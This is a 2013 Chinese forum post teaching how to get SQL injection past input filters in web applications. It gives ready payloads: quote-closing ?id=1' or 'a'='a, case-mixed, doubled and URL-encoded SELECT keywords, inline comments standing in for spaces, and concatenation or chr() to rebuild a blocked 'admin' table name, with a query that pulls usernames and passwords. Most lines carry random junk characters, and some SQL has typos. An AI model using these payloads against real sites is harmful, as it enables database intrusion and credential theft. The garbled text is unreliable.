找回密码
 立即注册
查看: 2912|回复: 0
打印 上一主题 下一主题

PHP中SQL注入,绕开过滤,照样注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:50:58 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
SQL注入。有攻有防。知道进攻。才懂得防守.& ^8 C0 f! j1 K3 I( W1 m

8 J9 g4 }) T4 B& C9 _7 Y) c有的时候,很容易受到SQL注入攻击的程序,可能会进行输入过滤,用来防止攻击者无限制的利用其中存在的设计缺陷。4 v4 g, }4 k: u( X1 N9 |: h
6 G6 g( v" V3 @8 o5 v2 f4 A- W5 h
唱出会删除或者净化一些字符,或者阻止常用的sql关键词。
/ R, S9 h! _# R1 O3 T- ?7 R0 u1 p, c6 a
我们通常有以下几种技巧,去避开这些过滤。# b' A# q3 w2 m  i* I- |0 }
( z5 ?# Z" Y2 z
1,避免使用被阻止的字符,即不使用这些字符仍然达到攻击目的。5 r: q; E: b, K, G
1 i) J# L: G, b8 l  }5 v, S
A,如果注入一个数字数据字段,就不需要使用单引号。
' a' B3 |% R4 l8 F; J
8 Z% P' B" l$ j% [B,输入注释符号被阻止使用,我们可以设计注入的数据,既不破坏周围的查询语法。
" k2 _$ h9 m$ |6 O( O$ r* s
% t* O. B' W$ ~; w) L( A% m# f3 V比如, ?id=1′ 这里存在注入,过滤了注释符合,我们可以输入 ?id=1′ or ‘a’=’a7 O: T3 v" ?4 _2 d. m% g, J

6 h' s, ~" J. I' r目的其实很简单,就是把后面的单引号给闭合掉。
' m- K) L0 y# r* M/ r$ P
$ i/ x( [% b/ ?& y% E) q- `C,在一个MSSQL注入中注入批量查询的时候,不必使用分号分隔符。; N8 r4 r/ ?. _' @

0 _. \9 j: x- o4 Q5 ?/ Z7 y9 T只要纠正所有批量查询的语法,无论你是否使用分号,查询的解析器依然能正确的去解释它们的。) j2 ~  [8 |& M  A0 y9 r/ p

( {% Z4 W) G% o6 ~; P2,避免使用简单确认
! e, O* k$ O* i- ]
3 e( M  K6 e- n一些输入确认机制使用一个简单的黑名单,组织或删除任何出现在这个名单中的数据,比如防注入程序。
3 p3 {; U$ w  F$ R# o# k4 d& e+ w
( `! ]" R- B6 J3 X这一般要看这个机制是否做的足够的好了,黑名单是否足够能确保安全。如果只是简单的黑名单,那也有机会突破的。
4 |* e) s9 V9 Q* D' _
/ z* p: {6 x  X7 [A,如果select关键词被阻止或删除
0 k, E! k" }9 Z- ~! P& [# d  ]% u4 I# L/ C3 e- r; J  H
我们可以输入:
% N8 `2 \: ^6 K. }3 M0 y3 Y3 F3 s, \; {( i6 U' q+ i* X- ^. \
SeLeCt       注意大小写
/ l, {' n" k8 B, E9 H& K9 Z7 C% c9 X1 Z: H
selselectect    还记得ewebeditor是怎么过滤asp的么?' k4 Q0 u, N0 w$ _9 L4 R

. l' C5 p% f; T$ _%53%45%4c%45%43%54                        URL编码: z+ c( I- o6 k$ _

4 e6 i3 U' y* ?. y1 ^: l9 b: S%2553%2545%254c%2545%2543%2554    对上面的每个%后加了一个25; L$ X0 W# }( L5 b: J

" H$ c7 I  @- q' _: P" U3,使用SQL注释符
2 e) d' h! G# |( [8 `
* Y  @6 o+ c9 g$ e, T$ d, R4 rA,使用注释来冒充注入的数据中的空格。  q1 W, t$ a7 |1 L

/ X7 H9 z( q# N$ ^. F! {. R6 Gselect/*yesu*/username,password/*yesu*/from/*yesu*/admin  a6 W  V& \, J  D9 k. y: X

' Y  y% n1 p. B/*yesu*/来冒充空格
" A' d( Q2 ^  y3 T6 T0 d; {3 u; U% A9 Y
B,使用注释来避开某些注入的确认过滤。: w, }, I1 i( {- Y& A  }
' V3 ~/ C% d+ J& \, v% B: U- ?
SEL/*yesu*/ECT username,password fr/*yesu*/om admin; M6 c: n8 |  u1 }& S! \9 z
) ]) G) ?" E  K1 q* f3 d6 W! B0 a
4,处理被阻止的字符串
/ C4 I6 z) t. E& Q+ A- V( H* c8 N% M8 C. B
比如,程序阻止了admin,因为怕攻击者注入admin表单中的数据。. X  Q8 g$ ^7 _3 J2 X

. r: u0 V  f' R+ N' O我们可以这样
; m% v. Z+ d4 [3 e- P
7 I* n' V9 c# ~7 LA,oracle数据库: ‘adm’||’in’, G; O( Z( u- n. u6 p+ D
# ~+ s; `9 k  n8 Z3 p0 S7 @
B,MSSQL数据库: ‘adm’+’in’7 [$ I1 U! h; d: h% Z+ Z# ~
5 z/ s/ P/ P0 h
C,MYSQL数据库: concat (‘adm’,’in’)& F  |% U+ v$ [0 y+ k* T3 |

4 ~/ w6 N$ j; y; @, H2 R/ _D,oracle中如果单引号被阻止了,还可以用chr函数
; `* O1 B7 ^) n$ ]7 \7 Y: }* W; n/ J2 @" B7 M- L* ~/ r4 f
sleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110)
, ^1 `* A& l: W" Z$ ?  d. p' c$ T/ p6 F0 A6 L' \
还有其他方法。正在收集中.
. i6 i8 E* _( }  l, B; d) v! B; i% ]! a. [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表